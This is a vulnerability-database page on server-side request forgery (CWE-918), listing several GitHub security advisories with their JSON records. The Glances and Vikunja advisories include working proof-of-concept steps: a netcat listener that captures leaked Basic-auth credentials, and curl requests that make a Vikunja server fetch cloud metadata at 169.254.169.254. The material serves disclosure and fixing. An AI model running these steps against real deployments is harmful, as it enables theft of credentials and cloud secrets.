Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4755 vulnerabilities reference this CWE, most recent first.

GHSA-G5M9-Q65C-X6M4

Vulnerability from github – Published: 2024-06-06 09:30 – Updated: 2024-06-11 18:30
VLAI
Details

A host whitelist parser issue in the proxy service implemented in the GravityZone Update Server allows an attacker to cause a server-side request forgery. This issue only affects GravityZone Console versions before 6.38.1-2 that are running only on premise.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-4177"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-06T08:15:39Z",
    "severity": "HIGH"
  },
  "details": "A host whitelist parser issue in the proxy service implemented in the GravityZone Update Server allows an attacker to cause a server-side request forgery. This issue only affects GravityZone Console versions before 6.38.1-2 that are running only on premise.",
  "id": "GHSA-g5m9-q65c-x6m4",
  "modified": "2024-06-11T18:30:43Z",
  "published": "2024-06-06T09:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4177"
    },
    {
      "type": "WEB",
      "url": "https://bitdefender.com/consumer/support/support/security-advisories/host-whitelist-parser-issue-in-gravityzone-console-on-premise-va-11554"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-4177"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G5PQ-48MJ-JVW8

Vulnerability from github – Published: 2026-04-21 15:17 – Updated: 2026-04-27 16:34
VLAI
Summary
Glances has SSRF in IP Plugin via public_api leading to credential leakage
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in the Glances IP plugin due to improper validation of the public_api configuration parameter. The value of public_api is used directly in outbound HTTP requests without any scheme restriction or hostname/IP validation.

An attacker who can modify the Glances configuration can force the application to send requests to arbitrary internal or external endpoints. Additionally, when public_username and public_password are set, Glances automatically includes these credentials in the Authorization: Basic header, resulting in credential leakage to attacker-controlled servers.

This vulnerability can be exploited to:

Access internal network services (e.g., 127.0.0.1, 192.168.x.x) Retrieve sensitive data from cloud metadata endpoints (e.g., 169.254.169.254) Exfiltrate credentials via outbound HTTP requests

The issue arises because public_api is passed directly to the HTTP client (urlopen_auth) without validation, allowing unrestricted outbound connections and unintended disclosure of sensitive information.

Details

The vulnerability exists in the Glances IP plugin where the public_api configuration value is used to fetch public IP information. This value is read directly from the configuration file and passed to the HTTP client without any validation.

Root Cause In glances/plugins/ip/init.py, the public_api parameter is retrieved from configuration and later used to initialize a background thread responsible for making HTTP requests:

self.public_api = self.get_conf_value("public_api", default=[None])[0]

self.public_ip_thread = ThreadPublicIpAddress(
    url=self.public_api,
    username=self.public_username,
    password=self.public_password,
    refresh_interval=self.public_address_refresh_interval,
)

There is no validation performed on: - URL scheme (e.g., http, https, file) - Hostname or resolved IP address - Internal or restricted IP ranges - Unsafe HTTP Request Handling

The request is executed via urlopen_auth() in glances/globals.py:

def urlopen_auth(url, username, password, timeout=3):
    return urlopen(
        Request(
            url,
            headers={
                'Authorization': 'Basic ' +
                base64.b64encode(f'{username}:{password}'.encode()).decode()
            },
        ),
        timeout=timeout,
    )

This function: - Accepts any URL passed to it - Automatically attaches a Basic Authorization header - Does not enforce any restrictions on destination

PoC

SSRF via public_api (Glances IP Plugin) Prerequisites Glances installed Two terminals Step 1 Start listener (Terminal 1) nc -lvnp 9999

Step 2 Create malicious config (Terminal 2) mkdir -p ~/.config/glances

cat > ~/.config/glances/glances.conf << 'EOF' [ip] public_disabled=False public_api=http://127.0.0.1:9999/ssrf-poc public_username=apiuser public_password=S3cr3tP@ss EOF

Step 3 Start Glances glances --webserver Step 4 Observe SSRF request (Terminal 1) GET /ssrf-poc HTTP/1.1 Host: 127.0.0.1:9999 User-Agent: Python-urllib/3.x

Authorization: Basic YXBpdXNlcjpTM2NyM3RQQHNz Step 5 Decode leaked credentials echo "YXBpdXNlcjpTM2NyM3RQQHNz" | base64 -d

Output: apiuser:S3cr3tP@ss Step 6 Confirm data via API curl -s http://127.0.0.1:61208/api/4/ip

{
  "address": "**.***.***.***",
  "mask": "255.255.255.0",
  "mask_cidr": 24
}

Impact

This vulnerability allows an attacker to control outbound HTTP requests made by the Glances IP plugin via the public_api configuration parameter.

Server-Side Request Forgery (SSRF): The application can be forced to send requests to arbitrary endpoints, including internal services and localhost. Credential Leakage: When public_username and public_password are configured, they are automatically sent in the Authorization: Basic header to any target defined in public_api, exposing credentials to attacker-controlled servers. Internal Network Access: The vulnerability enables access to internal resources such as: 127.0.0.1 (localhost services) Private network ranges (192.168.x.x, 10.x.x.x, 172.16.x.x) Cloud Metadata Exposure: The application can be directed to query cloud metadata endpoints such as: http://169.254.169.254/ potentially exposing sensitive credentials (e.g., IAM tokens in cloud environments) Data Injection / Manipulation: Responses from attacker-controlled servers are accepted and stored by Glances, then exposed via /api/4/ip, allowing injection of arbitrary data into the application.

NOTE

Vulnerability Location

The issue originates from how the public_api configuration value is handled and used without validation.

1. Source of user-controlled input

File: glances/plugins/ip/init.py (around lines ~64–82) self.public_api = self.get_conf_value("public_api", default=[None])[0] self.public_username = self.get_conf_value("public_username", default=[None])[0] self.public_password = self.get_conf_value("public_password", default=[None])[0] public_api is fully user-controlled via configuration No validation is applied at this stage

2. Missing validation before usage self.public_disabled = ( self.get_conf_value('public_disabled', default='False')[0].lower() != 'false' or self.public_api is None or self.public_field is None ) Only checks if the value is None No validation of: - URL scheme - Hostname - IP address range

3. Vulnerable sink (critical point) self.public_ip_thread = ThreadPublicIpAddress( url=self.public_api, # ← user-controlled input username=self.public_username, password=self.public_password, refresh_interval=self.public_address_refresh_interval, ) The user-controlled public_api is passed directly into a network request This is the SSRF entry point

4. Unsafe HTTP execution

File: glances/globals.py (around lines ~360+) def urlopen_auth(url, username, password, timeout=3): return urlopen( Request( url, # ← no validation at all headers={ 'Authorization': 'Basic ' + base64.b64encode(f'{username}:{password}'.encode()).decode() }, ), timeout=timeout, )

  • Accepts any URL
  • Sends request blindly
  • Automatically attaches credentials to any destination
  • Root Cause

A user-controlled configuration value (public_api) is passed directly into an HTTP request without validation of scheme or destination, resulting in SSRF and credential leakage.

Recommendation The fix must be applied before the URL is used, specifically in the IP plugin (init.py).

1. Enforce scheme restrictions Allow only: http https Reject: file:// gopher:// ftp:// any non-HTTP protocol

This prevents protocol abuse and local file access

2. Validate destination host Resolve the hostname to an IP address Check the resolved IP against restricted ranges

Block if the IP is:

Loopback → 127.0.0.0/8 Private → 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 Link-local → 169.254.0.0/16 (cloud metadata services)

This prevents:

Internal network probing AWS/GCP/Azure metadata access localhost abuse

3. Enforce validation before thread creation

The validation must occur before initializing:

ThreadPublicIpAddress(...) If validation fails: Disable the plugin Do not send any request

4. Trust boundary clarification urlopen_auth() is a low-level utility It should not be responsible for validation

The caller (IP plugin) must ensure:

Only safe, external URLs are passed

Why This Fix Works Scheme validation blocks protocol-based attacks IP validation blocks internal and cloud targets Combined, they eliminate the SSRF attack surface while preserving legitimate use cases (public IP APIs)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T15:17:52Z",
    "nvd_published_at": "2026-04-21T00:16:29Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Server-Side Request Forgery (SSRF) vulnerability exists in the Glances IP plugin due to improper validation of the public_api configuration parameter. The value of public_api is used directly in outbound HTTP requests without any scheme restriction or hostname/IP validation.\n\nAn attacker who can modify the Glances configuration can force the application to send requests to arbitrary internal or external endpoints. Additionally, when public_username and public_password are set, Glances automatically includes these credentials in the Authorization: Basic header, resulting in credential leakage to attacker-controlled servers.\n\nThis vulnerability can be exploited to:\n\nAccess internal network services (e.g., 127.0.0.1, 192.168.x.x)\nRetrieve sensitive data from cloud metadata endpoints (e.g., 169.254.169.254)\nExfiltrate credentials via outbound HTTP requests\n\nThe issue arises because public_api is passed directly to the HTTP client (urlopen_auth) without validation, allowing unrestricted outbound connections and unintended disclosure of sensitive information.\n\n### Details\nThe vulnerability exists in the Glances IP plugin where the public_api configuration value is used to fetch public IP information. This value is read directly from the configuration file and passed to the HTTP client without any validation.\n\n**Root Cause**\nIn glances/plugins/ip/__init__.py, the public_api parameter is retrieved from configuration and later used to initialize a background thread responsible for making HTTP requests:\n\n```\nself.public_api = self.get_conf_value(\"public_api\", default=[None])[0]\n\nself.public_ip_thread = ThreadPublicIpAddress(\n    url=self.public_api,\n    username=self.public_username,\n    password=self.public_password,\n    refresh_interval=self.public_address_refresh_interval,\n)\n```\n\nThere is no validation performed on:\n- URL scheme (e.g., http, https, file)\n- Hostname or resolved IP address\n- Internal or restricted IP ranges\n- Unsafe HTTP Request Handling\n\nThe request is executed via urlopen_auth() in glances/globals.py:\n\n```\ndef urlopen_auth(url, username, password, timeout=3):\n    return urlopen(\n        Request(\n            url,\n            headers={\n                \u0027Authorization\u0027: \u0027Basic \u0027 +\n                base64.b64encode(f\u0027{username}:{password}\u0027.encode()).decode()\n            },\n        ),\n        timeout=timeout,\n    )\n```\n\nThis function:\n- Accepts any URL passed to it\n- Automatically attaches a Basic Authorization header\n- Does not enforce any restrictions on destination\n\n### PoC\nSSRF via public_api (Glances IP Plugin)\nPrerequisites\nGlances installed\nTwo terminals\n**Step 1**  Start listener (Terminal 1)\n`\nnc -lvnp 9999\n`\n\n**Step 2**  Create malicious config (Terminal 2)\n`\nmkdir -p ~/.config/glances\n`\n\n`\ncat \u003e ~/.config/glances/glances.conf \u003c\u003c \u0027EOF\u0027\n[ip]\npublic_disabled=False\npublic_api=http://127.0.0.1:9999/ssrf-poc\npublic_username=apiuser\npublic_password=S3cr3tP@ss\nEOF\n`\n\n**Step 3**  Start Glances\nglances --webserver\n**Step 4** Observe SSRF request (Terminal 1)\n`\nGET /ssrf-poc HTTP/1.1\nHost: 127.0.0.1:9999\nUser-Agent: Python-urllib/3.x\n`\n\n`\nAuthorization: Basic YXBpdXNlcjpTM2NyM3RQQHNz\n`\n**Step 5** Decode leaked credentials\n`\necho \"YXBpdXNlcjpTM2NyM3RQQHNz\" | base64 -d\n`\n\n**Output:**\n`\napiuser:S3cr3tP@ss\n`\n**Step 6** Confirm data via API\n`\ncurl -s http://127.0.0.1:61208/api/4/ip\n`\n```\n{\n  \"address\": \"**.***.***.***\",\n  \"mask\": \"255.255.255.0\",\n  \"mask_cidr\": 24\n}\n```\n\n### Impact\nThis vulnerability allows an attacker to control outbound HTTP requests made by the Glances IP plugin via the public_api configuration parameter.\n\n**Server-Side Request Forgery (SSRF):**\nThe application can be forced to send requests to arbitrary endpoints, including internal services and localhost.\n**Credential Leakage:**\nWhen public_username and public_password are configured, they are automatically sent in the Authorization: Basic header to any target defined in public_api, exposing credentials to attacker-controlled servers.\n**Internal Network Access:**\nThe vulnerability enables access to internal resources such as:\n127.0.0.1 (localhost services)\nPrivate network ranges (192.168.x.x, 10.x.x.x, 172.16.x.x)\n**Cloud Metadata Exposure:**\nThe application can be directed to query cloud metadata endpoints such as:\nhttp://169.254.169.254/\npotentially exposing sensitive credentials (e.g., IAM tokens in cloud environments)\n**Data Injection / Manipulation:**\nResponses from attacker-controlled servers are accepted and stored by Glances, then exposed via /api/4/ip, allowing injection of arbitrary data into the application.\n\n\n## NOTE\nVulnerability Location\n\nThe issue originates from how the public_api configuration value is handled and used without validation.\n\n**1. Source of user-controlled input**\n\nFile: glances/plugins/ip/__init__.py\n(around lines ~64\u201382)\n`\nself.public_api = self.get_conf_value(\"public_api\", default=[None])[0]\nself.public_username = self.get_conf_value(\"public_username\", default=[None])[0]\nself.public_password = self.get_conf_value(\"public_password\", default=[None])[0]\npublic_api is fully user-controlled via configuration\n`\nNo validation is applied at this stage\n\n**2. Missing validation before usage**\n`\nself.public_disabled = (\n    self.get_conf_value(\u0027public_disabled\u0027, default=\u0027False\u0027)[0].lower() != \u0027false\u0027\n    or self.public_api is None\n    or self.public_field is None\n)\n`\nOnly checks if the value is None\nNo validation of:\n- URL scheme\n- Hostname\n- IP address range\n\n**3. Vulnerable sink (critical point)**\n`\nself.public_ip_thread = ThreadPublicIpAddress(\n    url=self.public_api,            # \u2190 user-controlled input\n    username=self.public_username,\n    password=self.public_password,\n    refresh_interval=self.public_address_refresh_interval,\n)\n`\nThe user-controlled public_api is passed directly into a network request\nThis is the SSRF entry point\n\n**4. Unsafe HTTP execution**\n\nFile: glances/globals.py\n(around lines ~360+)\n`\ndef urlopen_auth(url, username, password, timeout=3):\n    return urlopen(\n        Request(\n            url,   # \u2190 no validation at all\n            headers={\n                \u0027Authorization\u0027: \u0027Basic \u0027 +\n                base64.b64encode(f\u0027{username}:{password}\u0027.encode()).decode()\n            },\n        ),\n        timeout=timeout,\n    )\n`\n\n- Accepts any URL\n- Sends request blindly\n- Automatically attaches credentials to any destination\n- Root Cause\n\nA user-controlled configuration value (public_api) is passed directly into an HTTP request without validation of scheme or destination, resulting in SSRF and credential leakage.\n\n**Recommendation**\nThe fix must be applied before the URL is used, specifically in the IP plugin (__init__.py).\n\n**1. Enforce scheme restrictions**\nAllow only:\nhttp\nhttps\nReject:\nfile://\ngopher://\nftp://\nany non-HTTP protocol\n\nThis prevents protocol abuse and local file access\n\n**2. Validate destination host**\nResolve the hostname to an IP address\nCheck the resolved IP against restricted ranges\n\n**Block if the IP is:**\n\nLoopback \u2192 127.0.0.0/8\nPrivate \u2192 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16\nLink-local \u2192 169.254.0.0/16 (cloud metadata services)\n\n**This prevents:**\n\nInternal network probing\nAWS/GCP/Azure metadata access\nlocalhost abuse\n\n**3. Enforce validation before thread creation**\n\nThe validation must occur before initializing:\n\nThreadPublicIpAddress(...)\nIf validation fails:\nDisable the plugin\nDo not send any request\n\n**4. Trust boundary clarification**\nurlopen_auth() is a low-level utility\nIt should not be responsible for validation\n\nThe caller (IP plugin) must ensure:\n\nOnly safe, external URLs are passed\n\n**Why This Fix Works**\nScheme validation blocks protocol-based attacks\nIP validation blocks internal and cloud targets\nCombined, they eliminate the SSRF attack surface while preserving legitimate use cases (public IP APIs)",
  "id": "GHSA-g5pq-48mj-jvw8",
  "modified": "2026-04-27T16:34:15Z",
  "published": "2026-04-21T15:17:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-g5pq-48mj-jvw8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35587"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/d6808be66728956477cc4b544bab1acd71ac65fb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Glances has SSRF in IP Plugin via public_api leading to credential leakage"
}

GHSA-G5WH-JVX7-8P9Q

Vulnerability from github – Published: 2023-02-26 15:30 – Updated: 2023-03-03 06:30
VLAI
Details

A vulnerability classified as critical has been found in MuYuCMS 2.2. This affects an unknown part of the file /admin.php/update/getFile.html. The manipulation of the argument url leads to server-side request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-221805 was assigned to this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-1046"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-26T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability classified as critical has been found in MuYuCMS 2.2. This affects an unknown part of the file /admin.php/update/getFile.html. The manipulation of the argument url leads to server-side request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-221805 was assigned to this vulnerability.",
  "id": "GHSA-g5wh-jvx7-8p9q",
  "modified": "2023-03-03T06:30:18Z",
  "published": "2023-02-26T15:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1046"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MuYuCMS/MuYuCMS/issues/7"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.221805"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.221805"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G622-V45P-2M7J

Vulnerability from github – Published: 2023-03-14 06:30 – Updated: 2023-03-21 18:30
VLAI
Details

Due to improper input controls In SAP NetWeaver AS for ABAP and ABAP Platform - versions 700, 701, 702, 731, 740, 750, 751, 752, 753, 754, 755, 756, 757, 791, an attacker authenticated as a non-administrative user can craft a request which will trigger the application server to send a request to an arbitrary URL which can reveal, modify or make unavailable non-sensitive information, leading to low impact on Confidentiality, Integrity and Availability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-26459"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-14T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "Due to improper input controls In SAP NetWeaver AS for ABAP and ABAP Platform - versions 700, 701, 702, 731, 740, 750, 751, 752, 753, 754, 755, 756, 757, 791, an attacker authenticated as a non-administrative user can craft a request which will trigger the application server to send a request to an arbitrary URL which can reveal, modify or make unavailable non-sensitive information, leading to low impact on Confidentiality, Integrity and Availability.",
  "id": "GHSA-g622-v45p-2m7j",
  "modified": "2023-03-21T18:30:20Z",
  "published": "2023-03-14T06:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26459"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3296346"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G66F-25MW-6V67

Vulnerability from github – Published: 2023-12-15 09:30 – Updated: 2023-12-15 09:30
VLAI
Details

Softnext Mail SQR Expert is an email management platform, it has inadequate filtering for a specific URL parameter within a specific function. An unauthenticated remote attacker can perform Blind SSRF attack to discover internal network topology base on URL error response.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-48379"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-15T08:15:45Z",
    "severity": "MODERATE"
  },
  "details": "Softnext Mail SQR Expert is an email management platform, it has inadequate filtering for a specific URL parameter within a specific function. An unauthenticated remote attacker can perform Blind SSRF attack to discover internal network topology base on URL error response.",
  "id": "GHSA-g66f-25mw-6v67",
  "modified": "2023-12-15T09:30:17Z",
  "published": "2023-12-15T09:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48379"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-7597-fff54-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G66V-54V9-52PR

Vulnerability from github – Published: 2026-03-25 21:14 – Updated: 2026-03-25 21:14
VLAI
Summary
Vikunja has SSRF via Todoist/Trello Migration File Attachment URLs that Allows Reading Internal Network Resources
Details

Summary

The migration helper functions DownloadFile and DownloadFileWithHeaders in pkg/modules/migration/helpers.go make arbitrary HTTP GET requests without any SSRF protection. When a user triggers a Todoist or Trello migration, file attachment URLs from the third-party API response are passed directly to these functions, allowing an attacker to force the Vikunja server to fetch internal network resources and return the response as a downloadable task attachment.

Details

The vulnerability exists because the migration HTTP client uses a plain http.Client{} with no URL validation, no private IP blocklist, no redirect restrictions, and no response size limit.

Vulnerable code in pkg/modules/migration/helpers.go:38-59:

func DownloadFileWithHeaders(url string, headers http.Header) (buf *bytes.Buffer, err error) {
    req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil)
    if err != nil {
        return nil, err
    }
    // ... headers added ...
    hc := http.Client{}
    resp, err := hc.Do(req)
    // ... no URL validation, no IP filtering ...
    buf = &bytes.Buffer{}
    _, err = buf.ReadFrom(resp.Body) // no size limit
    return
}

Call site in Todoist migration (pkg/modules/migration/todoist/todoist.go:433-435):

if len(n.FileAttachment.FileURL) > 0 {
    buf, err := migration.DownloadFile(n.FileAttachment.FileURL)

The FileURL is deserialized directly from the Todoist Sync API response (json:"file_url" tag at line 125) with no validation.

Call sites in Trello migration (pkg/modules/migration/trello/trello.go): - Line 263: migration.DownloadFile(board.Prefs.BackgroundImage) — board background - Line 345: migration.DownloadFileWithHeaders(attachment.URL, ...) — card attachments - Line 381: migration.DownloadFile(cover.URL) — card cover images

Notably, the webhooks module in the same codebase was recently patched (commit 8d9bc3e) to add SSRF protection using the daenney/ssrf library, but this protection was not applied to the migration module — making this an incomplete fix.

Attack flow: 1. Attacker creates a Todoist account 2. Using the Todoist Sync API, attacker creates a note with file_attachment.file_url set to an internal URL (e.g., http://169.254.169.254/latest/meta-data/iam/security-credentials/) 3. Attacker authenticates to the target Vikunja instance and initiates a Todoist migration 4. Vikunja's server fetches the internal URL and stores the response body as a task attachment 5. Attacker downloads the attachment through the normal Vikunja API, reading the internal resource contents

PoC

Prerequisites: - Vikunja instance with Todoist migration enabled (admin has configured OAuth client ID/secret) - Authenticated Vikunja user account - Todoist account controlled by the attacker

Step 1: Craft malicious Todoist data

Using the Todoist Sync API, create a note with an internal URL as the file attachment:

curl -X POST "https://api.todoist.com/sync/v9/sync" \
  -H "Authorization: Bearer $TODOIST_TOKEN" \
  -d 'commands=[{
    "type": "note_add",
    "temp_id": "ssrf-test-1",
    "uuid": "550e8400-e29b-41d4-a716-446655440001",
    "args": {
      "item_id": "'$ITEM_ID'",
      "content": "test note",
      "file_attachment": {
        "file_name": "metadata.txt",
        "file_size": 1,
        "file_type": "text/plain",
        "file_url": "http://169.254.169.254/latest/meta-data/"
      }
    }
  }]'

Step 2: Trigger migration on Vikunja

# Authenticate to Vikunja
TOKEN=$(curl -s -X POST "https://vikunja.example.com/api/v1/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"password"}' | jq -r .token)

# Initiate Todoist OAuth flow
curl -s "https://vikunja.example.com/api/v1/migration/todoist/auth" \
  -H "Authorization: Bearer $TOKEN"

# After OAuth callback, trigger the migration
curl -s -X POST "https://vikunja.example.com/api/v1/migration/todoist/migrate" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"code":"<oauth_code>"}'

Step 3: Download the attachment containing internal data

# List tasks to find the attachment ID
curl -s "https://vikunja.example.com/api/v1/projects" \
  -H "Authorization: Bearer $TOKEN"

# Download the attachment (contains response from internal URL)
curl -s "https://vikunja.example.com/api/v1/tasks/<task_id>/attachments/<attachment_id>" \
  -H "Authorization: Bearer $TOKEN" -o metadata.txt

cat metadata.txt
# Expected: cloud instance metadata, internal service responses, etc.

Impact

An authenticated attacker can:

  • Read cloud instance metadata: Access http://169.254.169.254/ to retrieve IAM credentials, instance identity, and configuration data on AWS/GCP/Azure deployments
  • Probe internal network services: Map internal infrastructure by making requests to RFC1918 addresses (10.x, 172.16.x, 192.168.x)
  • Access internal APIs: Reach internal services that trust requests from the Vikunja server's network position
  • Denial of service: Since buf.ReadFrom(resp.Body) has no size limit, pointing to a large or streaming resource causes unbounded memory allocation on the Vikunja server

The attack requires the target Vikunja instance to have Todoist or Trello migration enabled (requires admin configuration of OAuth credentials), but this is a standard deployment configuration.

Recommended Fix

Apply the same SSRF protection already used for webhooks (daenney/ssrf) to the migration HTTP clients. In pkg/modules/migration/helpers.go:

import (
    "github.com/daenney/ssrf"
    "code.vikunja.io/api/pkg/config"
)

func safeMigrationClient() *http.Client {
    s, _ := ssrf.New(ssrf.WithAnyPort())
    return &http.Client{
        Transport: &http.Transport{
            DialContext: (&net.Dialer{
                Control: s.Safe,
            }).DialContext,
        },
    }
}

func DownloadFileWithHeaders(url string, headers http.Header) (buf *bytes.Buffer, err error) {
    req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil)
    if err != nil {
        return nil, err
    }
    for key, h := range headers {
        for _, hh := range h {
            req.Header.Add(key, hh)
        }
    }

    hc := safeMigrationClient()
    resp, err := hc.Do(req)
    if err != nil {
        return nil, err
    }
    defer resp.Body.Close()

    // Limit response body to 100MB to prevent memory exhaustion
    buf = &bytes.Buffer{}
    _, err = buf.ReadFrom(io.LimitReader(resp.Body, 100*1024*1024))
    return
}

Apply the same pattern to DoGetWithHeaders and DoPostWithHeaders in the same file.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:14:12Z",
    "nvd_published_at": "2026-03-24T16:16:34Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe migration helper functions `DownloadFile` and `DownloadFileWithHeaders` in `pkg/modules/migration/helpers.go` make arbitrary HTTP GET requests without any SSRF protection. When a user triggers a Todoist or Trello migration, file attachment URLs from the third-party API response are passed directly to these functions, allowing an attacker to force the Vikunja server to fetch internal network resources and return the response as a downloadable task attachment.\n\n## Details\n\nThe vulnerability exists because the migration HTTP client uses a plain `http.Client{}` with no URL validation, no private IP blocklist, no redirect restrictions, and no response size limit.\n\n**Vulnerable code** in `pkg/modules/migration/helpers.go:38-59`:\n```go\nfunc DownloadFileWithHeaders(url string, headers http.Header) (buf *bytes.Buffer, err error) {\n\treq, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// ... headers added ...\n\thc := http.Client{}\n\tresp, err := hc.Do(req)\n\t// ... no URL validation, no IP filtering ...\n\tbuf = \u0026bytes.Buffer{}\n\t_, err = buf.ReadFrom(resp.Body) // no size limit\n\treturn\n}\n```\n\n**Call site in Todoist migration** (`pkg/modules/migration/todoist/todoist.go:433-435`):\n```go\nif len(n.FileAttachment.FileURL) \u003e 0 {\n\tbuf, err := migration.DownloadFile(n.FileAttachment.FileURL)\n```\n\nThe `FileURL` is deserialized directly from the Todoist Sync API response (`json:\"file_url\"` tag at line 125) with no validation.\n\n**Call sites in Trello migration** (`pkg/modules/migration/trello/trello.go`):\n- Line 263: `migration.DownloadFile(board.Prefs.BackgroundImage)` \u2014 board background\n- Line 345: `migration.DownloadFileWithHeaders(attachment.URL, ...)` \u2014 card attachments\n- Line 381: `migration.DownloadFile(cover.URL)` \u2014 card cover images\n\nNotably, the webhooks module in the same codebase was recently patched (commit `8d9bc3e`) to add SSRF protection using the `daenney/ssrf` library, but this protection was **not applied** to the migration module \u2014 making this an incomplete fix.\n\n**Attack flow:**\n1. Attacker creates a Todoist account\n2. Using the Todoist Sync API, attacker creates a note with `file_attachment.file_url` set to an internal URL (e.g., `http://169.254.169.254/latest/meta-data/iam/security-credentials/`)\n3. Attacker authenticates to the target Vikunja instance and initiates a Todoist migration\n4. Vikunja\u0027s server fetches the internal URL and stores the response body as a task attachment\n5. Attacker downloads the attachment through the normal Vikunja API, reading the internal resource contents\n\n## PoC\n\n**Prerequisites:**\n- Vikunja instance with Todoist migration enabled (admin has configured OAuth client ID/secret)\n- Authenticated Vikunja user account\n- Todoist account controlled by the attacker\n\n**Step 1: Craft malicious Todoist data**\n\nUsing the Todoist Sync API, create a note with an internal URL as the file attachment:\n\n```bash\ncurl -X POST \"https://api.todoist.com/sync/v9/sync\" \\\n  -H \"Authorization: Bearer $TODOIST_TOKEN\" \\\n  -d \u0027commands=[{\n    \"type\": \"note_add\",\n    \"temp_id\": \"ssrf-test-1\",\n    \"uuid\": 